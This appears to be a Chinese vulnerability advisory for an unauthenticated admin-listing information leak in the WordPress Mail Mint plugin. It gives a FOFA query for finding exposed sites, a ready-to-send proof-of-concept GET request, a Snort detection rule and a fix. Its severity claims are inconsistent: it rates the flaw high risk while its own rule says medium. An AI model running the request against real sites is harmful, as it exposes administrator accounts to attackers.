跳转至

WordPressMailMint-CVE-2026-2025-信息泄露

WordPressMailMint-CVE-2026-2025-信息泄露，导致数据信息泄露或者导致服务器被控制。

影响版本

WordPress Mint Mail <1.19.5

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：body="/wp-content/plugins/mail-mint/"

POC/EXP：

GET /wp-json/mrm/v1/wp/admins?term=@ HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

image-20260329203742323

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"WordPress MailMint - Information Disclosure via WordPress REST API (CVE-2026-2025)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/wp-json/mrm/v1/wp/admins";
    http.uri; pcre:"/term=@/i";
    metadata:
        service http,
        affected_product "WordPress MailMint插件",
        vulnerability_type "Sensitive Information Disclosure",
        cve "CVE-2026-2025",
        severity "medium";
    classtype:policy-violation;
    sid:1000658;
    rev:1;
    priority:2;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。